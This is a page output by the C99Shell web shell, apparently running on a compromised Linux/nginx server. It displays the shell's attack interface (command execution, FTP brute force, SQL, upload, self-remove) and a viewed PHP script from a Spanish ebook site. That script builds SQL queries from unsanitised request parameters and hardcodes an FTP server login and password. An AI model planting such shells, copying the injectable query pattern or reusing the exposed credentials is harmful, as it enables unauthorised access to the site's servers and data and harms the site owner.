!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.36 GB of 96.73 GB (86.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     bajar_libros_semana_nuevo.php (13.5 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?ini_set('max_execution_time'300);?>
<head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rel="stylesheet" type="text/css" 
href="nuevo.css">

<link rel="STYLESHEET" type="text/css" href="estilo.css"> </head> <?php include "../frames/classes/dZip.inc.php"; include 
"../frames/conn.php";


if (
$_REQUEST['mayor_que']){
    
$anadido=" and id >{$_REQUEST['mayor_que']} ";
}


if (!
$_REQUEST['fecha_inicial']){
    
    
    
?>
    <table border=1>
    <form action="<? echo $_SERVER['PHP_SELF'];?>" method="post">
    <tr><td>YYYY-MM-DD <input type="text" name="fecha_inicial"></tr>
    <tr><td>YYYY-MM-DD <input type="text" name="fecha_final"></tr>
    <tr><td>si quiere TODAS las sinopsis, ponga 'si' <input type="text" name="total" value="no"></tr>  
    <tr><td>si NO quiere ftp remoto, ponga 'no'<input type="text" name="ftp" value="si"></tr>  
    <tr><td><input type="submit" value="Submit!"></tr>
    </table>
</form>
    
    <?
    
    
    
}else{    


$directorio="../libros/";


   
/*
   select * from libros
left outer sinopsis 
on libros.id=sinopsis.id_book 
where libros.fecha_subida >='2010-05-12' and libros.fecha_subida <='2010-05-14' and (libros.inftp=1 or libros.inftp=9) and sinopsis.imagename like '%.jpg' and libros.tamano>0 order by id asc
*/



$counter=0;
$limite=1000;


 
$sql=" SELECT libros.id ,libros.titulo,libros.autor,libros.genero,libros.subgenero,libros.programa,
libros.anyo,libros.ruta,libros.inftp,libros.tamano, sinopsis.sinopsis, sinopsis.imagename FROM libros
 
      LEFT OUTER JOIN sinopsis
  
      ON libros.id = sinopsis.id_book
  
      WHERE ((libros.fecha_subida >='"
.$_REQUEST['fecha_inicial']." 00:00:00' and libros.fecha_subida <='".$_REQUEST['fecha_final']." 23:59:59')

      and (libros.inftp=1 and libros.tamano>0)) order by libros.id asc "
;
    echo 
$sql;




 
$fecha=NEW DateTime(date($_REQUEST['fecha_final']." 23:59:00"));


 
$fecha->modify("-1 day");
 echo 
"<pre>";
 
print_r($fecha);

/*$sql="select t1.id,t1.titulo,t1.autor,t1.genero, t1.subgenero,t1.programa,t1.anyo,t1.ruta, t2.id_book, t2.imagename,t2.sinopsis from libros as t1, sinopsis as t2 where fecha_subida >='".
$_REQUEST['fecha_inicial']
."' and fecha_subida <='".
$_REQUEST['fecha_final']
."' and (inftp=1  or inftp=9) and t2.imagename like '%.jpg'".
" and t1.id=t2.id_book ".
" and tamano>0 ".
"$anadido order by id asc";
echo $sql."\n";
*/

   
$res=mysql_query($sql,$conn); 
   
  
  
  echo 
mysql_error();
   
$counter++;
   echo 
"creando directorio ";
   echo 
$destino=trim($_REQUEST['fecha_inicial'])."----".trim($_REQUEST['fecha_final'])."\n";
  
//  mkdir($destino,0777); 

echo "fichero en www.papyrefb2.net/automatas/recopilatorios_semanales_nuevos/recopilacion_desde_".trim($_REQUEST['fecha_inicial'])."_al_".trim($_REQUEST['fecha_final']).".zip \n"
    
$zip = new dZip("./recopilatorios_semanales_nuevos/recopilacion_desde_".trim($_REQUEST['fecha_inicial'])."_al_".trim($_REQUEST['fecha_final']).".zip");    
    
$zip_portadas=new dZip("./recopilatorios_semanales_nuevos/portadas_".trim($_REQUEST['fecha_inicial'])."_al_".trim($_REQUEST['fecha_final']).".zip");
    
$ccadena="  <center><h1>Recopilaci�n de libros en pr�stamo de <b>www.papyrefb2.net</b>, desde ".trim($_REQUEST['fecha_inicial'])
    .
" hasta ".trim($_REQUEST['fecha_final'])."</h1><br><br>
    <table border=1 ><tr><td bgcolor=#CAEFF7>Numero<td bgcolor=#CAEFF7>T�tulo<td bgcolor=#CAEFF7>autor<td bgcolor=#CAEFF7>fichero</tr>"
;
    
    
$texto="";
    
$sepa=chr(10).chr(13);
    
$handlesip=fopen("./recopilatorios_semanales_nuevos/".trim($_REQUEST['fecha_final']).".txt","w+");   
  
  
 
$registro_inicial=0;   
  while (
$row=mysql_fetch_array($res)){
        if (
$registro_inicial==0)$registro_inicial=$row['id'];
        
        if (
counter/2==intval($counter/2)){
        
$color="#F0F0F0";
      }else{
            
$color="#FFFFC0";
      }
        
       
        if (
strstr($row['ruta'],"/libros/")){
        
$vard=split('/libros/'$row['ruta']);
        
$prefix="../libros/";  
      }else{
            
$vard=split('/newlibros/'$row['ruta']); 
            
$prefix="../newlibros/"
      }
              
              
        



$titulo=trim($vard[1]);
echo 
"el titulo  es ";  
echo 
$titulo."<br>";    

   
$ccadena.="<tr><td bgcolor=$color>{$row['id']}<td bgcolor=$color>{$row['titulo']}<td bgcolor=$color>{$row['autor']}<td bgcolor=$color>$titulo</tr>";  

$cctxt.=$row['id']."-".$row['titulo']."-".$row['autor']."<br>";
    
    @
$zip->addFile($prefix.$titulo,"$titulo");
    
//@$zip->addFile("../newlibros/$titulo","$titulo"); 
    
$zip_portadas->addfile("../includes/{$row['imagename']}",$row['imagename']);
    echo 
"../includes/{$row['imagename']} ".$row['imagename'];
    if (
strtoupper($_REQUEST['total'])<>'SI'){
     
$texto="##1##".$row['id'];
   
fwrite($handlesip$texto);  
    
$texto="##2##".$row['autor']; 
      
fwrite($handlesip$texto); 
    
$texto="##3##".$row['titulo'];
       
fwrite($handlesip$texto); 
    
$texto="##4##".$row['genero'];
       
fwrite($handlesip$texto); 
    
$texto="##5##".$row['subgenero']; 
       
fwrite($handlesip$texto); 
    
$texto="##6##".$row['anyo']; 
       
fwrite($handlesip$texto); 
    
$texto="##7##".$row['programa'];  
       
fwrite($handlesip$texto); 
    
$texto="##8##".$row['sinopsis']."$$$$"
         
fwrite($handlesip$texto);
    }
    
    
   
$registro_final=$row['id'];
}

echo 
"<pre>";

 
$zip_portadas->save();
echo 
$ccadena.="</table>";
echo 
"<br><b>seguimos para bingo!</b>";
$handleauttxt=fopen("./recopilatorios_semanales_nuevos/Lista_de_libros_y_autores.txt","w+");
fwrite($handleauttxt,$cctxt);
fclose($handleauttxt);
$handle=fopen("./recopilatorios_semanales_nuevos/Lista_de_libros_y_autores.html","w+");
fwrite($handle$ccadena);
fclose($handle);


if (
strtoupper($_REQUEST['total'])<>'SI'){
    echo 
"<br><b>requesto NO es si</b>";  


}else{
    echo 
"<br><b>requesto SI es si</b>";   
$sql=" SELECT libros.id ,libros.titulo,libros.autor,libros.genero,libros.subgenero,libros.programa,
libros.anyo,libros.ruta,libros.inftp,libros.tamano, sinopsis.sinopsis, sinopsis.imagename FROM libros
 
      LEFT OUTER JOIN sinopsis
  
      ON libros.id = sinopsis.id_book
  
      WHERE libros.inftp=1 and libros.tamano>0 and libros.id <= 
$registro_final order by libros.id asc ";
echo 
"<br>".$sql."<$br>";      
      echo 
$rex=mysql_query($sql,$conn);
     
      echo 
$texto;
      while(
$rowx=mysql_fetch_array($rex)){
          
            
   
$texto="##1##".$rowx['id'];
   
fwrite($handlesip$texto);  
    
$texto="##2##".$rowx['autor']; 
      
fwrite($handlesip$texto); 
    
$texto="##3##".$rowx['titulo'];
       
fwrite($handlesip$texto); 
    
$texto="##4##".$rowx['genero'];
       
fwrite($handlesip$texto); 
    
$texto="##5##".$rowx['subgenero']; 
       
fwrite($handlesip$texto); 
    
$texto="##6##".$rowx['anyo']; 
       
fwrite($handlesip$texto); 
    
$texto="##7##".$rowx['programa'];  
       
fwrite($handlesip$texto); 
    
$texto="##8##".$rowx['sinopsis']."$$$$"
         
fwrite($handlesip$texto);
 

            
}
}
echo 
$handlesip
fclose($handlesip); 

 
// aqui, añadimos los borrados desde el recopilatorio gigante mayor que 5430
$handleborrar=fopen("./recopilatorios_semanales_nuevos/descartados_".trim($_REQUEST['fecha_final']).".txt","w+"); 
if (!
$handleborrar)die("error en handleborrar");
$sql2="SELECT id FROM libros WHERE inftp<>1 "
$ser=mysql_query($sql2,$conn);
echo 
mysql_error();
while (
$rowborrar=mysql_fetch_array($ser)){
    
fwrite ($handleborrar,$rowborrar['id'].chr(10).chr(13));
    }
    
fclose($handleborrar);

// aqui a�adimos las puntuaciones
$handleborrar=fopen("./recopilatorios_semanales_nuevos/valoraciones.txt","w+"); 
if (!
$handleborrar)die("error en handleborrar");
$sql2="SELECT t1.id as id,t2.id as id2,t2.inftp,t1.total_votes,t1.total_value FROM ratings as t1,libros as t2 WHERE t1.id=t2.id and t2.inftp=1 and t2.id <= $registro_final order by t1.id"
$ser=mysql_query($sql2,$conn);
echo 
mysql_error();
while (
$rowborrar=mysql_fetch_array($ser)){
    
$notanumber_format($rowborrar['total_value']/$rowborrar['total_votes'], 2'.''');
    
//echo $rowborrar['id']."-".$rowborrar['total_value']."/".$rowborrar['total_votes']."------".$rowborrar['total_value']/$rowborrar['total_votes']."----$nota<br>";
    
fwrite ($handleborrar,"##".$rowborrar['id']."##$nota##".$rowborrar['total_votes']."##".chr(10).chr(13));
    }
    
fclose($handleborrar);    
    
// aqui ir�a el isbn
    
$handleisbn=fopen("./recopilatorios_semanales_nuevos/isbn.txt","w+");  
    if (!
$handleisbn)die("error en apertura handleisbn");     
    
$sql3="select * from isbn where 1";
    
$ser3=mysql_query($sql3,$conn);
    while(
$rowisbn=mysql_fetch_array($ser3)){

     
fwrite($handleisbn,"##{$rowisbn['id_book']}##");
     if (
$rowisbn['isbn']){
         
fwrite($handleisbn,"{$rowisbn['isbn']}##"); 
    }else{
        
fwrite($handleisbn,"-##"); 
    }
    if (
$rowisbn['editorial']){
         
fwrite($handleisbn,"{$rowisbn['editorial']}##".chr(10).chr(13)); 
    }else{
        
fwrite($handleisbn,"-##".chr(10).chr(13)); 
    }
    }    
    
fclose($handleisbn);
     
 

 
$zip->addFile("./recopilatorios_semanales_nuevos/Lista_de_libros_y_autores.html","Lista_de_libros_y_autores.html"); 
 
$zip->addFile("./recopilatorios_semanales_nuevos/portadas_".trim($_REQUEST['fecha_inicial'])."_al_".trim($_REQUEST['fecha_final']).".zip","portadas_".trim($_REQUEST['fecha_inicial'])."_al_".trim($_REQUEST['fecha_final']).".zip");
 
$zip->addFile("./recopilatorios_semanales_nuevos/".trim($_REQUEST['fecha_final']).".txt",trim($_REQUEST['fecha_final']).".txt");
  
$zip->addFile("./recopilatorios_semanales_nuevos/descartados_".trim($_REQUEST['fecha_final']).".txt","descartados_".trim($_REQUEST['fecha_final']).".txt");
  
  
$zip->addFile("./recopilatorios_semanales_nuevos/valoraciones.txt","valoraciones.txt");
   
$zip->addFile("./recopilatorios_semanales_nuevos/isbn.txt","isbn.txt");    
echo  
"<pre>";
//print_r($zip);
if (!$_REQUEST['nozip']){
$zip->save();
}


// subimos a hostmonster

if ($_REQUEST['ftp']=='si'){
$ftp_server "ftp.fichfilkraft.com";        // add server name
$ftp_user_name "fichfilk";    // add user name
$ftp_user_pass "15xj3Gm5Fo";    // add password
$dst_dir "/www/5652164542316554/files/";            // add destination directory ( www/upload/ )
   
$archivo_origen="recopilacion_desde_".trim($_REQUEST['fecha_inicial'])."_al_".trim($_REQUEST['fecha_final']).".zip";
   
$ftp= new  ftp($ftp_server,$ftp_user_name,$ftp_user_pass,$dst_dir);   
    
$ftp->delete($archivo_origen);  
    
$ftp->ls();
    echo 
"<pre>";
    
print_r($ftp);
    
$directorio_origen="./recopilatorios_semanales_nuevos/";
  
    echo 
"subiendo $archivo_origen";
    
    
$ftp->sendfile($archivo_origen,$directorio_origen.$archivo_origen);
    
$ftp->ls(); 
    echo 
"<br>--------------------------fin----------------------<br>";
    
print_r($ftp);  
}
echo 
"<br>".$cctxt;

   
   
   
}


class 
ftp
 
{
 public 
$ftp_server;
 public 
$ftp_user_name;
 public 
$ftp_user_pass;
 public 
$dst_dir;
 public 
$conn_id;
 public 
$login_result;
 public 
$mi_error;
 public 
$error=false;
 public 
$listadirectorio;
 function 
ftp($ftp_server,$ftp_user_name,$ftp_user_pass,$dst_dir)
  {
  if (
$ftp_server!="" && $ftp_user_name!="" && $ftp_user_pass!="" && $dst_dir!="") {
   
$this->ftp_server $ftp_server;
   
$this->ftp_user_name $ftp_user_name;
   
$this->ftp_user_pass $ftp_user_pass;
   
$this->dst_dir $dst_dir;
   }
  else
   return 
false// bad parametrs 
  
if (!$this->connect()){
     echo 
"bad connect";
     return 
false;
  }
  
   if (!
$this->setdir()){
   echo 
"no exist directory   ";
   return 
false;
  } 
  return 
true// ALL OK
  
}

/* FTP connect */
 
function connect()
  {
  
$this->conn_id ftp_connect($this->ftp_server);
  
$this->login_result ftp_login($this->conn_id$this->ftp_user_name$this->ftp_user_pass);
  if ((!
$this->conn_id) || (!$this->login_result))
   return 
false;
  else return 
true;
  }
  function 
disconnect()
  {
   return(
ftp_close($this->conn_id));
   }

/* Set Directory */
 
function setdir()
  {
  if (!
ftp_chdir($this->conn_id$this->dst_dir)){
  
$this->mi_error="no se pudo cambiar el directorio";
  
$this->error=true;
  
   return 
false;
  }else{ 
       
// echo ftp_pwd($this->conn_id);
        
return true;
  }
  }

/* Send file */
/*
INPUT:
$remote_file -> file for send
$file        -> read file
$mode        -> "FTP_BINARY","FTP_ASCII",...
*/
 
function sendfile($remote_file$file$mode="FTP_BINARY")
  {
  if (!
ftp_put($this->conn_id$remote_file$fileFTP_BINARY)){
   
$this->mi_error="no se pudo subir {$remote_file} {$file}";
   
$this->error=true
   return 
false;
  }else{ return 
true;
  }
  }
   function 
getfile($local_file,$remote_file,$mode="FTP_BINARY")
  {
      
$this->error=false;   
  if (!
ftp_get($this->conn_id$local_file$remote_fileFTP_BINARY)){
   
$this->mi_error="no se pudo bajar {$remote_file} {$file}";
   
$this->error=true
   return 
false;
  }else{ 
        
$this->error=false;
        return 
true;
  }
  }
  
  
 function 
delete($file)
 {
  if (!
ftp_delete($this->conn_id$file)) {
         
$this->mi_error="no se pudo borrar  {$file}";
   
$this->error=true
   return 
false;
  }else{ return 
true;
  }

}
  
  
  function 
ls()
  {
  
$this->listadirectorio=ftp_nlist($this->conn_idftp_pwd($this->conn_id));
 }
 function 
rename($oldname$newname)
 {
      if (!
ftp_rename($this->conn_id$oldname$newname) ){
            
$this->mi_error="no se pudo cambiar el nombre {$oldname}  al nuevo: {$newname}";
            
$this->error=true
   return 
false;
  }else{ return 
true;
  }
 }
           

 } 
//end class 
?>






  

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0043 ]--